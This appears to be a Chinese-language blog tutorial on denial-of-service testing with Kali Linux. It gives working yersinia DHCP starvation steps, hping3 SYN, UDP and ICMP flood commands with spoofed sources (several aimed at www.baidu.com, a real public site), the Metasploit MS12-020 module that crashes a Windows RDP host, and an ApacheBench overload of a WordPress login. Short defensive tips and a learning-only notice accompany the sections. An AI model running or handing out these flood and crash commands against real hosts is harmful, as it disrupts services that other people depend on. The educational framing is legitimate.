Kali Linux ***測試之拒絕服務***及防禦

     作爲***測試人員,有時候需要對客戶的系統進行DDOS***測試,那麼這個時候就需要我們有一款合格的測試工具。而在Kali Linux上就集成了一些DDOS測試工具供測試者使用,下面就簡單介紹一些測試工具。


kali下的拒絕服務***:

D(D)OS........................................1

yersinia......................................2

hping3........................................3

使用metasploit進行SynFlood***................4

WEB DOS(壓力測試).............................5



1.DOS(DDOS)

  • 拒絕服務***即***者想辦法讓目標機器停止提供服務

  • 常見爲消耗寬帶、CPU、內存資源(各種洪水***)

  • 導致延長服務器響應時間

  • 利用服務漏洞,攻陷服務

  • IP欺騙等


2.YERSINIA

  • 項目地址http://www.yersinia.net/

  • 底層協議******檢測工具

  • 針對多種協議的多種***

  • 例如奪取生成樹的根角色(生成樹協議:Spanning Tree Protocol),生成虛擬CDP(Cisco發現協議:Cisco Discovery Protocol)鄰居、在一個HSRP(熱等待路由協議:Hot Standby Router Protocol)環境中虛擬成一個活動的路由器、製造假DHCP反饋,以及其它底層***。

  • 一般使用圖形化***界面

Usage: yersinia [-hVGIDd] [-l logfile] [-c conffile] protocol [protocol_options]

       -V   版本信息

       -h   獲取幫助信息

       -G   圖形化工作界面

       -I   交互模式.

       -D   後臺模式

       -d   調試

       -l logfile   選擇日誌文件

       -c conffile  選擇配置文件

     protocol  可以***的協議: cdp, dhcp, dot1q, dot1x, dtp,      

             hsrp, isl, mpls, stp, vtp.


yersinia  -G  啓用圖形化界面

wKioL1ZwzbXzOOShAAC7EQY_CnQ164.png


案例:***測試DHCP服務

DHCP服務器 /windows server 2003/IP:192.168.10.10

Kali Linux / IP:192.168.10.100

首先看一下DHCP獲取IP地址的流程

spacer.gif

wKioL1ZwzbLgatYsAABO_kAbm7I383.png


第一步:啓動DHCP服務器

在DHCP(windows server 2003)服務器上,允許的IP地址範圍是192.168.10.100-200

其中kali已經租用了192.168.10.100


wKiom1ZwzbCxgG62AADAzLMoYZQ327.png


第二步:啓動yersinia***程序

在yersinia選擇相應的網卡接口


wKiom1ZwzbGRRU05AACjQDCKAi0010.png


針對DHCP的***有四種方式:

sending RAW packet   #發送原始數據包

sending DISCOVER packet   #發送請求獲取IP地址數據包,佔用所有的IP,造成拒絕服務

creating DHCP rogue server   #創建虛假DHCP服務器,讓用戶鏈接,真正的DHCP無法工作

sending RELEASE packet    #發送釋放IP請求到DHCP服務器,致使正在使用的IP全部失效


wKioL1ZwzbbD8J5vAADiCKACvO0485.png


進行 DHCP DISCOVER 測試***

wKioL1ZwzcXg2-S8AAGkfUBb0Y4908.png


一旦DHCP服務器被DISCOVER***,地址池內所有的有效IP都沒法使用,新的用戶就無法獲取IP地址

注:這裏雖然所有的IP地址被佔用,但是在DHCP的地址池內沒有顯示


第三步:驗證***結果

用一臺windows xp來獲取IP地址,會發現獲取ip命令執行無效


wKiom1ZwzayAWjAzAACdKMa_Fs0195.png


如此我們的DHCP DISCOVER***就生效了!!!


防禦方案:

在交換機上啓用端口監聽,設置信任端口和非信任端口,默認下交換機端口都是非信任端口。 
非信任端口:連接終端設備的端口,該端口客戶端只能發送DHCP請求報文,而丟棄來自該端口的其他所有DHCP報文(DHCP offer等)
信任端口:連接合法的DHCP服務器或者匯聚接口,能夠轉發和接收所有DHCP報文

開啓交換機端口監聽功能: Switch(config)#ipdhcp snooping
設置DHCP監聽作用於那個VLAN: Switch(config)#ipdhcp snooping vlannumber
配置端口信任或非信任:  Switch(config-if)#ipdhcp snooping trust
報文中插入選項82信息:Switch(config)# ip dhcp snoopling infornamation option
限制DHCP報文速率,jianhuan DHCP 耗盡***:Switch(config-if)# ip dhcp snoopling limit rate rate(速率)
這樣就可以達到防禦DHCP***的目的



3.Hping3

  • TCP/IP數據包組裝/分析工具

  • 支持多種協議(ICMP、TCP、UPD、RAW-IP等)

  • 運行多種操作系統上(Linux,FreeBSD,NetBSD,OpenBSD,Solaris,MacOs X,Windows)

  • 可用於防火牆測試、端口掃描、操作系統探測、網絡檢查等


Usage:

-h --help 顯示幫助信息 
-v --version 顯示Hping的版本信息 
-c --count 指定數據包的次數 
-i --interval 指定發包間隔爲多少毫秒,如-i m10:表示發包間隔爲10毫秒

--fast 與 -i m100等同,即每秒鐘發送10個數據包 
-n --numeric 指定以數字形式輸出 
-q --quiet 退出Hping 
-I --interface 指定IP,如本機有兩塊網卡,可通過此參數指定發送數據包的IP地址。如果不指定則默認使用網關IP 
-V --verbose 冗餘模式 
-D --debug 調試信息 
-z --bind 將ctrl+z 綁定到ttl,默認使用DST端口 
-Z --unbind 解除ctrl+z的綁定 

指定所用的模式: 
默認模式 TCP模式 
-0 --rawip RAW IP 模式 
-1 --icmp ICMP 模式 
-2 --udp UDP 模式 
-8 --scan 掃描模式. 
例: hping --scan 1-30,70-90 -S www.target.host -9 --listen 監聽模式 

IP選項: 
-a --spoof 僞造源地址欺騙 
--rand-dest 隨機目的地址模式 
--rand-source 隨機源目的地址模式 
-t --ttl ttl值,默認爲64 
-N --id 指定id,默認是隨機的 
-W --winid 使用win*的id 字節順序 
-r --rel 相對的id區域 
-f --frag 將數據包分片後傳輸(可以通過薄弱的acl(訪問控制列表)) 
-x --morefrag 設置更多的分片標記 
-y --dontfrag 設置不加分片標記 
-g --fragoff 設置分片偏移 
-m --mtu 設置虛擬MTU, 當數據包>MTU時要使用--frag 進行分片 
-o --tos 指定服務類型,默認是0x00,,可以使用

--tos help查看幫助 
-G --rroute 包含RECORD_ROUTE選項並且顯示路由緩存 
--lsrr 釋放源路記錄 
--***r 嚴格的源路由記錄 
-H --ipproto 設置協議範圍,僅在RAW IP模式下使用 

ICMP選項 
-C --icmptype 指定icmp類型(默認類型爲回顯請求) 
-K --icmpcode 指定icmp編碼(默認爲0) 
--force-icmp 發送所有ICMP數據包類型(默認只發送可以支持的類型) 

--icmp-gw 針對ICMP數據包重定向設定網關地址(默認是0.0.0.0) 
--icmp-ts 相當於--icmp --icmptype 13(ICMP時間戳) 
--icmp-addr 相當於--icmp --icmptype 17(ICMP地址掩碼) 
--icmp-help 顯示ICMP的其它幫助選項 

UDP/TCP選項 
-s --baseport 基本源端口(默認是隨機的) 
-p --destport 目的端口(默認爲0),可同時指定多個端口 
-k --keep 仍然保持源端口 
-w --win 指定數據包大小,默認爲64 
-O --tcpoff 設置假的TCP數據偏移 
-Q --seqnum 僅顯示TCP序列號 
-b --badcksum 嘗試發送不正確IP校驗和的數據包 
許多系統在發送數據包時使用固定的IP校驗和,因此你會得到不正確的UDP/TCP校驗和. 
-M --setseq 設置TCP序列號 
-L --setack 使用TCP的ACK(訪問控制列表) 
-F --fin 使用FIN標記set FIN flag 
-S --syn 使用SNY標記 
-R --rst 使用RST標記 
-P --push 使用PUSH標記 
-A --ack 使用 ACK 標記 
-U --urg 使用URG標記 
-X --xmas 使用 X 未用標記 (0x40) 
-Y --ymas 使用 Y 未用標記 (0x80) 
--tcpexitcode 最後使用 tcp->th_flags 作爲退出代碼 
--tcp-timestamp 啓動TCP時間戳選項來猜測運行時間 

常規選項 
-d --data 數據大小,默認爲0 
-E --file 從指定文件中讀取數據 
-e --sign 增加簽名 
-j --dump 以十六進行形式轉存數據包 
-J --print 轉存可輸出的字符 
-B --safe 啓用安全協議 
-u --end 當通過- -file指定的文件結束時停止並顯示,防止文件再從頭開始 
-T --traceroute 路由跟蹤模式 
--tr-stop 在路由跟蹤模式下當收到第一個非ICMP數據包時退出 
--tr-keep-ttl 保持源TTL,對監測一個hop有用 
--tr-no-rtt 使用路由跟蹤模式時不計算或顯示RTT信息 
ARS 數據包描述(新增加的內容,暫時還不穩定) 
--apd-send 發送用描述APD的數據包 


使用方法:

  • hping3 -S -a 1.1.1.1 --flood -V www.xxx.com 

  • hping3 -S -P -U --flood -V --rand-source www.xxx.com

  • hping3 -c 100000 -d 120 -S -w 64 -p 80 --flood --rand-source www.xxx.cpm

  • hping3 -q -n -a 1.1.1.1 -S -s 53 --keep -p 22--flood www.xxx.com (SYN Flood)

  • hping3 -q -n -a 1.1.1.1 -SARFU -p 80 -i u10000 www.xxx.com (TCP Connect Flood)

  • hping3 -q- n -a 1.1.1.1 -SARFU -p 22 --flood www.xxx.com (TCP Connect Flood)

  • hping3 -q- n -a 1.1.1.1 --udp -s 53 --keep -p 68 --flood www.xxx.com (UDP Flood)

  • hping3 -q- n -a 1.1.1.1 --id 0 --icmp -d 56 --flood www.xxx.xom (ICMP Flood)

簡單測試說明:

a).hping3 -S -a 1.1.1.1 -V www.baidu.com  #發送SYN數據包,僞造ip來源爲1.1.1.1 

-a  僞造ip地址來源

-V  冗餘模式

-S  發送SYN數據包

--flood  只發數據包,不考慮數據入站回顯

啓動wireshark抓包看看僞造的IP 1.1.1.1 是否生效

選擇capture功能鍵,確定監聽正確的網卡

wKiom1Zwzv-wNtPJAACrhaKfhcc178.png


點擊start按鍵抓包

wKioL1Zw0OuhojGtAAEcKqYlGbs824.png

通過對數據分析可以看到成功的僞造了數據包的來源,並且在不斷的向外發送數據包


b).hping3 -S -V --flood --rand-source -c 10000 -d 150 -w 64 -p 80 www.baidu.com

-c 10000      發送數據包數量

-d 150        發送的每個數據包的大小

-w 64         TCP窗口的大小

-p 80         ***目的端口,可以隨意設置

--ran-source  使用隨記性源IP地址


wKioL1Zwzw7gLiCeAAD5tbPQ5yQ924.png

通過wireshark可以看到不到一分鐘就發送了20w+數據包。



c).hping3 -SARFU -V --flood --rand-source -c 10000 -d 150 -w 64 -p 80 www.baidu.com

-SARFU  發送SYN,ARP,UDP等不同協議的數據包


wKioL1ZwzwjB5ljQAADetN3MDpY357.png


防禦方案:

保證充足的寬帶;

使用高性能的網絡設備;

異常流暢清洗過濾;

分佈式防禦;

高防DDOS設備;



4.利用系統漏洞進行拒絕服務***

  • 掃描445或者3389的機器

  • 利用MS12-020漏洞

  • 使用metasploit進行***

使用metasploit進行SynFlood***

use auxiliary/dos/tcp/synflood

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids 

......



測試案例:

kali linux 主機ip:192.168.10.3

windows server 2003  測試機器 ip:192.168.10.10


一個windows RDP SynFlood實驗:

首先在kali上啓動msfconsole

在msfconsole中使用search功能搜索集成好的DOS服務程序

wKioL1Zw0FuxEFpqAACYL4lz_dg453.png.


測試一個windows RDP***

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids 


wKiom1Zw0FbSusV4AAA2wNFMbXY648.png


設置好需要***的主機IP,運行***payload

wKioL1Zw0F-g5O4oAABUkragSM4592.png


***成功會顯示seems down(PC over)

再來看看***目標的屏幕已經藍屏了

wKioL1Zw0F_ACfynAAAv-ORTAQ0242.png


OK!!!


防禦方案:

及時更新系統補丁;

使用客戶端防火牆;



5.WEB DOS(壓力測試)

網站性能壓力測試是性能調優過程中必不可少的一環。

只有讓服務器處在高壓情況下才能真正體現出各種設置所暴露的問題。

ab命令會創建很多的併發訪問線程,模擬多個訪問者同時對某一URL地址進行訪問。

它的測試目標是基於URL的,因此,既可以用來測試Apache的負載壓力,

也可以測試nginx、lighthttp、tomcat、IIS等其它Web服務器的壓力。

ab命令對發出負載的計算機要求很低,既不會佔用很高CPU,也不會佔用很多內存,

但卻會給目標服務器造成巨大的負載,其原理類似CC***。

但測試使用也須注意,否則一次上太多的負載,可能造成目標服務器因資源耗完,嚴重時甚至導致死機



Usage:

-n requests Number of requests to perform
#在測試會話中所執行的請求個數(本次測試總共要訪問頁面的次數)。默認時,僅執行一個請求。
-c concurrency Number of multiple requests to make
#一次產生的請求個數(併發數)。默認是一次一個。
-t timelimit Seconds to max. wait for responses
#測試所進行的最大秒數。其內部隱含值是-n 50000。它可以使對服務器的測試限制在一個固定的總時間以內。默認時,沒有時間限制。
-p postfile File containing data to POST
#包含了需要POST的數據的文件,文件格式如“p1=1&p2=2”.使用方法是 -p 111.txt 。 (配合-T)
-T content-type Content-type header for POSTing
#POST數據所使用的Content-type頭信息,如 -T “application/x-www-form-urlencoded” 。 (配合-p)
-v verbosity How much troubleshooting info to print
#設置顯示信息的詳細程度 – 4或更大值會顯示頭信息, 3或更大值可以顯示響應代碼(404, 200等), 2或更大值可以顯示警告和其他信息。 -V 顯示版本號並退出。
-w Print out results in HTML tables
#以HTML表的格式輸出結果。默認時,它是白色背景的兩列寬度的一張表。
-i Use HEAD instead of GET
#執行HEAD請求,而不是GET。
-x attributes String to insert as table attributes
-y attributes String to insert as tr attributes
-z attributes String to insert as td or th attributes
-C attribute Add cookie, eg. -C “c1=1234,c2=2,c3=3″ (repeatable)
#-C cookie-name=value 對請求附加一個Cookie:行。 其典型形式是name=value的一個參數對。此參數可以重複,用逗號分割。
提示:可以藉助session實現原理傳遞 JSESSIONID參數, 實現保持會話的功能,如
-C ” c1=1234,c2=2,c3=3, JSESSIONID=FF056CD16DA9D71CB131C1D56F0319F8″ 。
-H attribute Add Arbitrary header line, eg. ‘Accept-Encoding: gzip’ Inserted after all normal header lines. (repeatable)
-A attribute Add Basic WWW Authentication, the attributes
are a colon separated username and password.
-P attribute Add Basic Proxy Authentication, the attributes
are a colon separated username and password.
#-P proxy-auth-username:password 對一箇中轉代理提供BASIC認證信任。用戶名和密碼由一個:隔開,並以base64編碼形式發送。無論服務器是否需要(即, 是否發送了401認證需求代碼),此字符串都會被髮送。
-X proxy:port Proxyserver and port number to use
-V Print version number and exit
-k Use HTTP KeepAlive feature
-d Do not show percentiles served table.
-S Do not show confidence estimators and warnings.
-g filename Output collected data to gnuplot format file.
-e filename Output CSV file with percentages served
-h Display usage information (this message)
#-attributes 設置屬性的字符串. 缺陷程序中有各種靜態聲明的固定長度的緩衝區。另外,對命令行參數、服務器的響應頭和其他外部輸入的解析也很簡單,這可能會有不良後果。它沒有完整地實現 HTTP/1.x; 僅接受某些’預想’的響應格式。 strstr(3)的頻繁使用可能會帶來性能問題,即你可能是在測試ab而不是服務器的性能。


參數有很多,但是在一般的壓力測試中只是用 -n 和 -c 參數就可以



測試案例:

ab -n 10000 -c 1000 http://192.168.10.4

root@kali:~# ab -n 1000 -c 100 http://192.168.10.4/wp-login.php

This is ApacheBench, Version 2.3 <$Revision: 655654 $>

Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/

Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking 192.168.10.4 (be patient)

Completed 100 requests

Completed 200 requests

Completed 300 requests

^C(請求了300次後web服務器就卡住,停止響應了,進行了終止操作)

Server Software:        Apache

Server Hostname:        192.168.10.4

Server Port:            80

Document Path:          /wp-login.php  #測試頁面

Document Length:        3192 bytes  #頁面大小

Concurrency Level:      100      #併發數量

Time taken for tests:   36.861 seconds   #整個測試持續時間

Complete requests:      321   #完成的請求數量

Failed requests:        0     #失敗的請求數量

Write errors:           0

Total transferred:      1137945 bytes

HTML transferred:       1024632 bytes

Requests per second:    8.71 [#/sec] (mean)   #重要指標之一,相當於LR中每秒事務數

Time per request:       11483.128 [ms] (mean)   #重要指標之一,相當於LR中平均事務響應時間

Time per request:       114.831 [ms] (mean, across all concurrent requests)  #每個連接請求實際運行時間

Transfer rate:          30.15 [Kbytes/sec] received

Connection Times (ms)

              min  mean[+/-sd] median   max

Connect:        0    6   8.7      2      37

Processing:   179 2934 2131.5   2559   24266

Waiting:      179 2921 2130.6   2548   24266

Total:        211 2940 2127.5   2560   24266

Percentage of the requests served within a certain time (ms)

  50%   2560   (50%請求時間爲2560毫秒)

  66%   3124

  75%   3553

  80%   3892

  90%   5169   (90%請求時間爲5169毫秒)

  95%   5898

  98%   8080

  99%   8535   (99%請求時間爲8535毫秒)

 100%  24266 (longest request)

在這裏可以看到隨着大量數據包的請求發送,鏈接響應時間值越來越多,拒絕服務效果開始產生

netstat -atupln | grep 80 | wc -l

wKiom1Zw0Xyigbp5AAAfl_vV6kE133.png


本來想統計一下80端口請求數據,但是還沒剛開始就卡住了,證明測試生效

注:因爲web設置的允許最大鏈接數量爲200,所以卡住的比較快


防禦方案:

應用代碼做好性能優化:合理利用memchces;

網絡架構做好優化:負載均衡分流;

對抗手段:限制每個IP請求頻率,使用驗證碼,限制每個數據包的大小;

合理配置Web Server的 Timout、KeepAliveTimeout等;

使用WEB應用防火牆;

把網站做成靜態頁面;




NOTICE:實驗僅供學習參考務做違法行爲!!!



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章